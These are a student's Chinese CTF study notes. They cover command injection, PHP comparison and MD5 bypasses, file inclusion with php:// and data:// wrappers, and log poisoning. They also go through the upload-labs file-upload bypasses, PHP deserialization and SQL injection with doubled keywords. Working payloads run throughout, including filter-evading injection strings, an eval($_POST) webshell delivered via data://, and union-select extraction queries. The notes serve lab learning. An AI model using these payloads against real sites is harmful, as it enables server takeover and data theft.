PHP特性+命令执行
第一次解题
URL:http://114.116.119.253:8001/cg.php

[极客大挑战 2019]Havefun1
涉及知识
- hackbar的相关使用知识
- 简单的php代码理解
解题过程
1.配置好hackbar插件
我用的火狐直接插件下载好
2.进入靶场

看到一只猫猫,然后f12看到如下内容

需要用get的方式提交一个cat变量使得cat==’dog’
3.操作

- 使用该功能将网页捕获

- get传参

- 将结果返回得到flge

- 提交 flag{ee9a84c1-cdb2-43f9-aaf4-d4f7758459c3} 得分
[ACTF2020 新生赛]Exec1
涉及知识
- 命令注入
- ping命令
- Linux基本操作指令
- 命令联合执行
解题过程
进入题目

ping的相关知识点在总结
尝试ping该网页的域名

获得该网站的IP地址(刚开始偷懒直接复制,没有意识那是网址而不是域名,所以卡得有点久)

使用了“;”符号,前面的执行完执行后面的
尝试常见的Linux指令,可以看到跟目录下有flag,尝试用cat指令让其输出

得到flag{c4fcd196-1913-409a-89ec-3edb847200aa}
知识点详解
ping命令
Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。
应用格式:ping空格IP地址
- 通常用来检测网络的连通情况和测试网络速度
- 根据域名得到相应主机的IP地址
- 根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量。
- 用来进行网络扫描和攻击
附:
bytes值:表示通信过程中发送的数据包大小,单位是字节。
time值:表示响应时间,这个时间越小,说明你与对方通信的速度越快,延时越短。
TTL值:Time To Live,表示数据包再经过多少个路由器如果还不能到达就将被丢弃,这里可以通过Ping返回的TTL值大小,粗略地判断目标系统类型是Windows系列还是UNIX/Linux系列。默认情况下,Linux系统的TTL最大值为64或255,WindowsNT/2000/XP系统的TTL最大值为128,UNIX主机的TTL最大值为255。
原文链接:https://blog.csdn.net/flyroc08/article/details/120103617
上课讲过,又去搜了一下细节
网址的组成
互联网类型(如最常见的www(万维网)等)+访问协议+域名的形式
[GXYCTF2019]Ping Ping Ping
涉及知识
ping
linux联合执行
1 | ; 前面执行完执行后面 |
空格绕过的一些小姿势
1 | > < <> 重定向符 |
敏感字符绕过
1 | 利用变量拼接 |
正则表达式匹配规则,贪婪匹配
[codeblock]
preg_match函数
是进行正则表达式的匹配,成功返回1,否则返回0
preg_match(正则表达式,需要匹配的对象,可选(即可以没有)匹配结果的数组)
解题过程
题目环境

根据题目尝试ping一下通过burpsuite得到的IP


发现flag用cat获取

绕过尝试
空格绕过
- 题目要求绕过空格键,绕过方法参考了唐师傅,在后面自己也根据网上查找的做了总结
使用%09绕过

fack your symbol!可能过滤了特殊字符‘%’
接下来尝试了分别尝试了
1 | >< 重定向符 |

- 通过绕过得到源码

这里使用excc让其输出ping -c 4文件,又因为php是后端语言,使用cat的话最后需要在源码里查看flag
敏感字符flag绕过
尝试了利用变量拼接进行绕过
?ip=1;a=ag;b=fl;tac$IFS$9$b$a.php可绕过
贪婪匹配:
1 | if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ |
这串代码是flag的贪婪匹配,匹配一个字符串中是否按顺序出现过flag四个字母
- 后又尝试利用base64编码进行绕过,及内敛绕过,然后查看源码得到flag
内敛绕过

base64编码绕过

1 | /?ip= |
知识汇总
贪婪匹配
在正则表达式匹配规则里
. :匹配除 “\n” 之外的任何单个字符。要匹配包括 ‘\n’ 在内的任何字符,请使用像 ‘[.\n]’ 的模式
*:匹配0个或多个
使用 .* 的话就可以匹配任意长度的任意字符
在贪婪匹配下,.* 会匹配尽可能多的字符
非贪婪匹配的写法是.*?
源代码中涉及bush和sh
sh: 遵循POSIX规范:“当某行代码出错时,不继续往下解释”。
bash: 就算出错,也会继续向下执行。
sh 跟bash的区别,实际上是bash有没开启POSIX模式的区别。
简单说,sh是bash的一种特殊的模式,sh就是开启了POSIX标准的bash, /bin/sh 相当于 /bin/bash –posix
在Linux系统上/bin/sh往往是指向/bin/bash的符号链接
cat与tac
重定向
顾名思义,就是重新定义输入输出方向,将原本应该从标准输入设备(键盘)输入的数据,改由其他文件或设备输入,或将原本应该输出到标准输出设备(显示器)的内容,改由输出到其他文件或设备上。
重定向符’|‘
重定向符’>‘,’<‘(临时)完了会自动恢复
手动恢复:
- exec >/dev/tty ( /dev/tty 文件代表的就是显示器 )
- 如果还有别的文件描述符指向了显示器,那么也可以别的文件描述符来恢复
exec
使用 exec 命令可以永久性地重定向,后续命令的输入输出方向也被确定了,直到再次遇到 exec 命令才会改变重定向的方向,如果没有使用,则之前的重定向都是临时的,只对当前命令有效
[极客大挑战 2019]BuyFlag
涉及知识
is_numeric()函数安全漏洞
用于检测变量是否为数字或者数字字符串。若是则为true,否则为false
一些绕过姿势
1 | j[]=58B 利用数组+十六进制来进行绕过 |
若是在sql注入中碰到也可以用16进制来绕过,将sql语句转为16进制字符串即可
弱等于绕过
php中当一个其他数据类型和数值类型的数据比较大小时,会先将其他数据类型转换成数值类型
cookie伪造
cookie机制:
是在浏览网页的时候,服务器将你的登录信息,浏览信息等发送给客户端并保存一定的时间。当你下一次访问这个网站的时候,就能读取上一次你的记录
一般情况下,cookie是以键值对进行表示的(key-value),例name=jack,这个就表示cookie的名字是name,cookie携带的值是jack
漏洞
很多的网站都是由cookie来辨认登录者的信息。它可以起到登录验证的作用,从而存在了漏洞,可以绕过验证直接登录到后台
strmp()
从第一位开始,依次比较两个字符串的 ASCII码值,strmp(str1,str2),如果str1>str2返回值为1,反之则为-1,完全相等即为0
注:如果传入其他类型的变量会报错,但是此时返回值为0
解题过程
进入靶场,看到这样

如果你想买到flag,你必须是CUIT的学生(夹带私货),必须给出正确的pass world,还要一亿大洋

查看网页源代码,看到这样一串代码,用post传参,提交money和password,password不能为数字字符串且弱等于404
通过burp suite进行网页抓包

cookie伪造实操
首先需要是学生,cookie将用户数量作为登录信息,我们伪造了用户数量就可以绕过登录,成为将CUIT的学生,user改为1
burp suite的简单使用
再将get传参模式改为post

绕过is_numeric()函数,弱类型比较
password=404aa&money=100000000
post password和money(复习一下post接多个参数用&连接,第一节课有讲),


说数字过长,改变钱的数量的话又说钱不够

stremp()绕过
emmm,猜测可能不是比较数字大小而是通过别的函数进行匹配
涉及位数,大小,猜测使用了strmp()函数进行比较,要使得返回值为0,我们无法知晓另外一个字符串,因此使用一个数组绕过,money[]=1

将其返回网页

得到flag
[BJDCTF2020]Easy MD5
涉及知识
请求头和响应头
md5函数
语法
MD5(string,raw)
string:必须,规定要计算的字符串
raw:可选,用于规定是十六进制输出格式还是二进制输出格式
- TRUE-原始16字符二进制格式
- FALSE-默认,32字符十六进制格式
返回值
成功则返回计算出来的MD5散列,失败则返回FALSE
ffifdyop绕过
绕过原理
ffifdyop 这个字符串被md5哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数
摘自https://blog.csdn.net/qq_61778128/article/details/125817377
使用0e绕过
0e开头,PHP会认为是科学计数法,都是0
以下字符串MD5以0e开头
1 | QNKCDZO |
使用数组绕过
MD5不能处理数组,返回值为NULL(上课有讲过)
error_reporting()
error_reporting() 函数规定报告哪个错误,用于屏蔽报错
SQL注入
select语句
用于从数据库中选取数据
解题过程

看到页面,要求我们提交查询,使用F12查看
响应头有提示,但是我开始连响应头是什么都不知,这个是看了别人的

需要我们提交数据,需要MD5绕过,绕过原理在涉及知识里面

看到这个界面,查看网页源码发现

需要我们用GRT传参,使得ab不相等但MD5后可以弱等于,两种方法罗列在前面,这里我用了数组的方式

需要POST传参,注意这里使用了强等于’===‘,那么0e开头的方法就不可以使用了,可以继续用数组,用burp suite改成POST传参

得到flag

[SWPUCTF 2021 新生赛]easy_md5

md5数组绕过
[SWPUCTF 2021 新生赛]easyrce
eval
把里面的内容当作是一句php命令来执行


[LitCTF 2023]PHP是世界上最好的语言!!

[NSSCTF 2022 Spring Recruit]babyphp
1 |
|
涉及md5绕过
payload:a[]=2&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
前面是数组绕过后面是0e绕过
[SWPUCTF 2021 新生赛]include
打开靶机提示传一个file,用GET方式传入file=1,页面显示出源码,已知flag在flag.php文件里面那么我们就可以用php://filer伪协议
变量=php://filter/convert.base64-encode/resource=文件名
再base64解码即可得到flag
[极客大挑战 2019]Secret File
涉及知识
PHP伪协议
PHP支持的伪协议
1 | 1 file:// — 访问本地文件系统file://本地文件路径 |
php://input 获取post的数据内容
data://text/plain;base(内容解码),内容

利用filter伪协议绕过死亡exit
死亡exit 通常存在于缓存、配置文件等等不允许用户直接访问的文件当中,避免数据被执行
语法:php://filter/过滤器|过滤器/resource=待过滤的数据流
还不理解的:有一些会在过滤器前面加read=,有一些又没有不知道是什么原因
read=<读链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符(**)分隔。
resource=<要过滤的数据流>:必须项。它指定了你要筛选过滤的数据流。
例子


1 | string.rot13 一种字符处理方式,字符右移十三位 |
转换过滤器: 对数据流进行编码,通常用来读取文件源码
1 | convert.base64-encode 用来base64加密 |
strstr函数
用于查找子字符串,返回字符串中首次出现子串的地址
语法
strstr(str1,str2), 若str2是str1的子串,则返回str2在str1的首次出现的地址;如果str2不是str1的子串,则返回NULL.
href:意思是指定超链接目标的URL,emmmm,后面可以是任何有效文档的相对或绝对URL
解题过程
进入后看到如下界面

查看网页源码

,you found me,发现Archive_room.php,点击进入

尝试直接点击SECRET键

提示回去仔细看,尝试查看achive的源码

发现action.php,还是没有
猜测在Archive_room.php和action.php网页交互时太快,burp抓包

发现隐藏,进入

尝试直接进入flag.php,发现不行,还不理解strstr在这的作用读代码有一个exit(),需要绕过

利用php伪协议filter的base64-encode过滤器绕过

解码,发现flag

[极客大挑战 2019]Http
当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。






boogipop文件包含
1
题目链接:http://114.116.119.253:8001/challenge1.php

使用伪协议
代码审计,伪协议尝试,类似题,为什么不可以呜呜呜

尝试另一种方法

为什么也不行![]X_2[KMEI)M7@FHD{31LH1.gif
好吧,我是傻子,flag在/flag里面,进行base64解码就可以得到flag了

使用一句话木马
**(注:看到另一种,去查了一下,@ 放在函数前有屏蔽出错信息的作用)**
刚开始想用,但是不是很理解具体步骤,自己尝试卡了很久,最后参考了群里大佬的步骤才搞懂操作, X﹏X 我是菜狗,膜拜大佬,
使用data伪协议,将一句话木马植入,蚁剑上号
右键,点击添加数据

输入URL,密码,就是在一句话木马中设置好的,我的是1,点击测试链接
emmm我也不知道为什么截图这么糊,凑合看看吧

然后就可以根据提示在根目录下找到flag了


2
涉及知识
- file_get_contents() 把整个文件读入一个字符串中。
- php:/filter伪协议
- data://伪协议
方法一
一开始用php://filter伪协议做出了第一题,然后还没有理解data://伪协议,所以嘎了

然后找到了绕过


害,又不行,最后找了杨师傅帮忙,得出的结果是,这是火狐hackbar的小问题,解决后得到如下,解码即可

方法二
植入一句话木马
url:http://114.116.119.253:8001/challenge2.php?c=data://text/plain,I%20like%20Boogipop&file=data://text/plain,<?php%20eval($_POST[1]);>(%20空格绕过),后续操作与之前相同
3
涉及
进入题目,看到如下界面

代码审计,去搜索了preg_match函数:用于执行一个正则表达式匹配,前面有一个!,所以就是ban掉了data伪协议和filter,考虑使用php:/input,
str_replace:替换字符串中的一些字符(区分大小写),php被替换,需要绕过,文件名大小写或者双写绕过phphpp,pphphp都可以,然后post传入一句话木马这里被hackbar背刺了QAQ,

用burp了抓个包,没有响应,害
改用burp

在post行写入一句话木马,再将抓的包返回,连蚁剑,前面的步骤一样,这里特别注意,找到HTTP BODY,将木马写入,点击测试连接,其余步骤相同即可找到flag

4

根据提示,百度了log file,是日志文件,而日志文件就是记录系统活动信息的几个文件,如:何时、何地(来源IP)、何人(什么服务名称)、做了什么操作(信息登录)换句话说就是记录系统在什么时候由哪个进程做了什么样的操作时,发生了何种的事件
按照提示,植入一句话木马,尽量使用burp suite来操作,使用hackbar会对<?和空格进行编码,导致木马写入失败(以身试险过),日志文件不会对url解码
先试过hackbar,抓包后是这样的

改好再返回

将抓到的包返回后

查找得知在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
nginx一般是在/var/log/nginx/access.log和/var/log/nginx/error.log
再根据返回包的信息可以知道,日志的路径是/var/log/apache2/access.log
使用文件包含漏洞包含日志文件
URL:http://114.116.119.253:8001/challenge4.php?file=/var/log/apache2/access.log

可以看到日志文件已经被污染,连接蚁剑就可以找到flag了
flag的位置:/secret/challenge4_flag
文件上传
根据网上的教程下好phpstudy配置好环境后,再下载upload-labs靶场源码,解压到phpstudy_pro/www目录下

点击创建网站

靶场搭建完成
pass-01
js过滤
方法一
前端js验证

自己编写了一个一句话木马php文件上传,弹出一个框,这是一个前端过滤,由网页前端控制,可以直接进行更改(朔峰师傅教的)

return chackfile():对文件名进行检查,可以直接删掉,上传成功

方法二
使用burp suite,将文件改为.jpg格式上传,进行抓包,修改文件后缀名再返回,即可上传


蚁剑连接

右键,选择新建标签页打开,将新建标签页的url复制

一句话木马那里我一开始自己写的,没有那个@,然后一直就被我的电脑把写好的木马嘎了QAQ,
pass-02
MIME绕过,contest-type伪造
Contest-Type
在 HTTP协议消息头中,它用来表示具体请求中的媒体类型信息。例:text/html 代表 HTML 格式,image/gif 代表 GIF 图片, application/json 代表JSON 类型,
burp抓包,传给render

找到contest-type,将text/plain改成image/gif,文件上传成功

蚁剑操作相同,之后不再提及
pass-03
文件后缀名黑名单绕过
尝试大小写绕过
查看源码,发现有强制小写的代码
尝试后缀名绕过
将.php文件后缀名改成php1-9,phtml等后缀名都可以,但是尝试了一下发现不行,去网上查找了一下,发现涉及一些Apache的相关知识
- Apache解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不能识别的话,就继续往左判断,直到遇到可以解析的文件后缀为止。
- Apache的httpd.conf中可以进行配置,规定哪些文件后缀是以php格式

按照教程更改,详情参考大佬的文章https://www.likecs.com/show-965809.html
然后发现还是不行QAQ,搜索发现我的PHP study版本太新了,即使改了配置也无法实现.php5和.phtml的解析,我懒得下载别的版本了,凑活着我的理论讲解吧。
通过修改文件后缀名的方式绕过黑名单,成功上传文件后,用蚁剑连接即可
pass-04
黑名单绕过
原理:利用.htaccess文件特性, ‘.htaccess’文件相当于一种部分配置文件,好比局部变量一样,只在当前目录生效,将解析为.php。笼统说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
注:.htaccess文件就叫这个名,前面不要再加别的
这串代码的意思是如果文件中有3.jpg文件,他就会被破解为.php文件
制作图片木马
win+r打开Windows的cdm

利用cd命令转到事先建好的存有一句话木马.php文件,和.jpg文件的文件夹中,利用copy命令,这样我们的图片木马就制作好了
然后首先在界面上传.htaccess文件,再上传图片木马,但是寄了,经过我的搜索,发现又是apache配置的问题,需要修改他的httpd.conf文件,代码如下
1 | AllowOverride All |
修改后就欧克了,上传完图片木马后如何知道他已经起作用了捏,这个时候需要请出我们的include.php文件(上传目录中的可执行文件),打开这个网页,利用文件上传漏洞测试
pass-05
知识点:限制了.hatccess文件,利用.user.ini文件绕过
php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。.user.ini实际上就是一个可以由用户“自定义”的php.ini, 是一个能被动态加载的ini文件 修改了.user.ini后,不需要重启中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。想要利用.user.ini这个漏洞的三个条件服务器脚本语言为PHP服务器使用CGI/FastCGI模式 * 使用CGI程序将浏览器,web服务器,php解释器连接起来进行数据交换的工具 上传目录下要有可执行的php文件
^_^百度教我的
首先我们编写一个.user.ini文件
**auto_prepend_file **在文顶部插入加载文件;
**auto_append_file **在文件最后插入加载文件(当文件调用的有exit()时该设置无效)

先上传写好的.user.ini文件,再上传3.jpg文件(之前写的图片木马),当前目录中存在index.php文件,访问他,怎会将3.jpg包含到index.php文件的文件尾中相当于再index.php中执行了require(3.jpg)
pass-06
原理: Windows 系统下,对于文件名中的大小写不敏感。例如:test.php 和 TeSt.PHP 是一样的。
这一关没有再设置强制大小写转换,文件后缀名改为大写即可绕过

pass-07 (空格)pass-08(点号)
原理:特殊文件名test.php.或test.php_(空格)在Windows系统中是不允许的,所以需要在burp上修改,绕过验证后,会被Windows系统自动变回.php,但在Linux上不行。

抓包后返回即可
pass-09

查看源码可以知道::$DATA没有被禁止,可以使用Windows文件流绕过

所以我们还是需要借助burp



打开图片会显示这样的界面,将url的::$DATA删掉即可

pass-10

双写绕过正则

emmm但是去upload文件里面看,我的电脑好像识别为.phphpp文件
经过搜索,看到了另外一种方法,拼接绕过。php. .(点空点),根据源代码去点去空,最终会呈现.php.格式

pass-11
原理:双写绕过

str_ireplace
使用一个字符串替换字符串中的另一些字符,
代码审计:利用这个函数将符合黑名单中的文件后缀名替换为空,但只配对一次,使用双写绕过,将文件后缀名改为.pphphp上传,即可

pass-12
查看提示,告诉我们本pass上传路径可控,尝试上传.php文件看看有什么提示
所以这是一个白名单,又因为路径可控,查看源码
所以使用白名单get型0x00(16进制0x)截断绕过
产生条件:
需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态
(打开php的配置文件php-ini,将magic_quotes_gpc设置为Off)
绕过方法:设置上传路径为 upload/phpinfo.php%00 ,添加 phpinfo.php%00 内容为了控制路径,上传文件后缀为白名单即可 例:test.jpg,保存后为/upload/phpinfo.php%00test.jpg,但服务端读取到%00 时会自动结束,将文件内容保存至 phpinfo.php 中(原理)
原文链接:https://blog.csdn.net/MCTSOG/article/details/123342344

我哭廖,就这个版本下不起。害,苦逼的去手动配置


上传成功后,另一个标签页面打开图片也是没有的,删掉后面的.jpg就可以了

pass-13

白名单 POST 型 0x00 截断
区别GET会自行解码,POST不会自行解码, 们需要修改HTTP包中上传路径对应的十六进制值(改为00)进行截断攻击
burp抓包,修改

点击Hex选项卡

找到该字段,修改为00,即截断
pass-14
图片木马,查看提示只检查开头两给字节
制作木马写入明文密码
注:PHP版本>5.3且必须在php.ini中开启allow_url_fopen选项。
访问include.php,将参数设置为图片木马的URL
1 | D:\木马>copy 3.jpg/b+1.php/a 2.jpg //制作图片木马 |
url:http://upload-labs/include.php?1=http://upload-labs/upload/7220230201001741.png
pass-15

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组
过程与pass14相同,制作图片木马为图片即可
pass-16
注:必须开启php_exif模块

本pass使用exif_imagetype()检查是否为图片文件
过程同pass-14
不管用什么PHP函数检测图片,只要图片木马能在本地用照片浏览器正常地打开,就能用文件解析漏洞绕过
pass-17
本Pass对上传后的图片文件进行了二次渲染(即根据原有的图片生成新的标准化的图片),感觉就是利用一些规则重新提取一遍图片,避开图片木马

利用 imagecreatefromgif 判断是否为 .jpg .gif .png 图片
imagecreatefromjpeg() : 返回一图像标识符,代表了从给定的文件名取得的图像 在失败时返回一个空字符串,并且输出一条错误信息

将上传上去的图片码与渲染后的图片进行比较,下载了一个二进制比较器 Fairdell HexCmp,找到不变的地方,就可以插入一句话木马了
pass-18
原理: 条件竞争方法(即在文件被删除之前访问该文件)绕过,需要不停且迅速的上传,访问文件

1 | $is_upload = false; |

burp在上传时抓个包后ctrl+i 发送至Intruder,
在下图再抓给包,用来知道上传文件存放路径


修改为上图模样,将两个包同时开始

不断访问上传
找到第二个抓的包的页面,request,点击respose里的render即可查看这个服务器版本
pass-19
和18题的操作没有什么区别
pass-20
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
上传文件burp抓包

修改为上图的样子

成功
序列化和反序列化
1
逐行分析代码逻辑
1 | <?php |
理一下逻辑,这段代码中有两个fmm功能,很明显我们不需要dxg这个类里面的fmm功能,而是需要class fin里面的
首先实例化class 1t–>再调用里面的impo对象–>,让impo对象去调用fin类里面的fmm功能
然后还涉及两个绕过,CVE-2016-7124漏洞,也就是__wakeup的绕过(漏洞影响的版本 PHP5 < 5.6.25 PHP7 < 7.0.10 只要把对象成员改大,就可以绕过__wakeup )
另一个__ToString是MD5弱等于绕过,前面笔记有写.
1 | <?php |
php断言
- 语法:assert ( mixed $assertion [, Throwable $exception ] ) : bool
- 参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)
- 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式
蚁剑上号,找到flag

flag{b0baee9d-279d-34fa-1dfd-71aadb908c3f}
2
URL:http://114.116.119.253:8002/index.php

根据给的提示,需要进行扫描,一开始以为是burp suite的scan(给定地址,爬取内容,检测漏洞)扫描,搜了一下,发现不是
然后,自己去下了御剑,貌似还是一个emo博主的珍藏

因为第一个刷出来的是www.zip文件,所以我就直接点进去下载,看到了题目

两个php源文件,

嗯,标准的反序列化,篡改数据的题需要我们在index.php的界面,也就是一开始的界面输入
1 | <?php |
理一下逻辑
password=100,name=admin–>绕过__wakeup–>echo $flag
在class.php代码里添加如下代码(懒得再copy一大段了)
1 | $a=new Name('admin','100'); |
然后在输出的url编码结果中将对象成员数改大,用get方法输入,得到flag.
HnuSec{3691308f-2a4c-2f69-83f2-880d32e29c84}
3pop链
首先去查了一下什么是pop
POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据,感觉就是比之前的题长一点?复杂一点?
首先检查网页,f12看到提示

跳转到InDeX.php界面,得到如下代码,分析如下
1 | <?php |
梳理逻辑
__destruct()调用whoiam功能–>私有属性被访问–>__get被调用–>对象被当作字符串–>__ToString被调用–>对象被当做方法–>__invoke被调用–>include植入木马
1 | <!-- |
BUU SQL COURSE 1
涉及知识
- sql注入漏洞
- 联合查询
解题过程
首先寻找注入点, 通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

看到了输入用户名,密码的界面,首先尝试了一下万能密码,失败,登录界面貌似没有注入点,猜测在热点界面,图省事儿我就直接在火狐自带的操作台上抓包了


看到明显的sql注入字段,打开这个网页

判断为数字型注入
判断字段数,用union select,利用其报错机制


确定字段数为2
还查到另外一种利用order by,order by3报错说明无法显示第三列,所以只有两列,同样可以知道字段数为2
id的值进行修改,修改为数据库中不存在的值,就会将回显的位置腾出来
暴库
看到多出来的那个news数据库尝试爆表

查字段

按顺序查询,在admin这个表里面就可以看到我们想要知道的信息
URL:http://522e45ea-7676-4ed4-96b8-383302a7e723.node4.buuoj.cn:81/backend/content_detail.php?id=0 union select 1,group_concat(username,’ ‘,password) from admin
这里有一个’ ‘,是为了让两串数据分开(防止我自己忘记,备注一下)

用户名,密码登录得到flag

[极客大挑战 2019]BabySQL
首先判断注入类型尝试1 or 1=1

尝试字符型1’ or 1=1#

发现,在user一栏,’or’空格,单引号,都被过滤了,在password一栏,or和空格被过滤了,双写绕过
尝试1' union select 1,2#确定字段数,回显如下,发现select被过滤双写绕过后发现union也被禁止,双写

1'uunionnion sselectelect 1,2,3#
返回数列为2,3,用哪一个都可以

查询当前数据库名1'uunionnion sselectelect 1,2,database()#

当前数据库名为geek,查询geek数据库
1'uunionnion sselectelect 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
回显为'.tables table_schema='geek'#'',对比起来一个个排除,where被ban了,然后,有个坑,因为之前已知or是被过滤了的,这里的information里面的or也会被滤掉,需要双写,然后from也被ban了
最终的样子
1'uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

得到两个表,依次查询,第一个表和第二个表都返回如下图
b4bsql,geekuser
1'uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

得到了字段名,查询字段内容
1’uunionnion sselectelect 1,2,group_concat(password) frfromom b4bsql#

em,烦人的or,双写得到password,然后flag就出来了

其实一开始没有按顺序,先尝试了geek user表,得到用户名和密码,登录了没flag,才回过头来去b4bsql的,呜呜.
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/bps81s6yu4nybb2s
语雀文档ID: 111154681